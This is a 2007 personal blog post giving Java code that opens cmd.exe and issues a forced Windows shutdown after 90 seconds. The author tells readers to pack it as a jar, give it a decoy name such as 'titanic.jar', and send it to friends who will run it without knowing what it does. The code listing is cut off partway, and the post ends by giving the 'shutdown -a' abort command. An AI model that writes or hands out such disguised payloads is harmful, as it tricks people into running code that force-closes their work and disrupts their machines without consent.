Ramblings from a Bihari!

Just another WordPress.com weblog

Did u know that u can shutdown someone’s machine(windows) using java????

ha ha ha, there is no particular fundoo java is involved here. Here is the code…u must know the location where windows is installed. Currently i assumed it to be….C:\Windows. So, the cmd.exe is inside C:\Windows\System32. Now follows the code….

package com.deepak.entertainment;

import java.io.IOException;
import java.io.OutputStream;

public class Deepak {
 public static void main(String[] args) throws InterruptedException {
  Runtime runtime = Runtime.getRuntime();
  try {
   Process process = runtime.exec(“C:\\WINDOWS\\system32\\cmd.exe”);
   OutputStream os = process.getOutputStream();
   os.write(“shutdown -s -f -t 90 \n\r”.getBytes());
  } catch (IOException e) {


package this class in a jar file with proper Main-Class entry in manifest file. U can always use jar -mcvf command to create a jar file if u have a proper manifest file. Otherwise the IDEs like eclipse allow tou to export ur main class as a jar file. Done!!!

Now, give this jar file a good name something like “titanic.jar” or something and send it to ur friends. If they have a jdk instlled and they double click the file(open with java) the machine will be shutdown in 90 seconds(configurable in the above code). You cant kill the shutdown process untill you open a command prompt and type

shutdown -a

a is for aborting shutdown.



September 17, 2007 Posted by | database, techie stuff | 3 Comments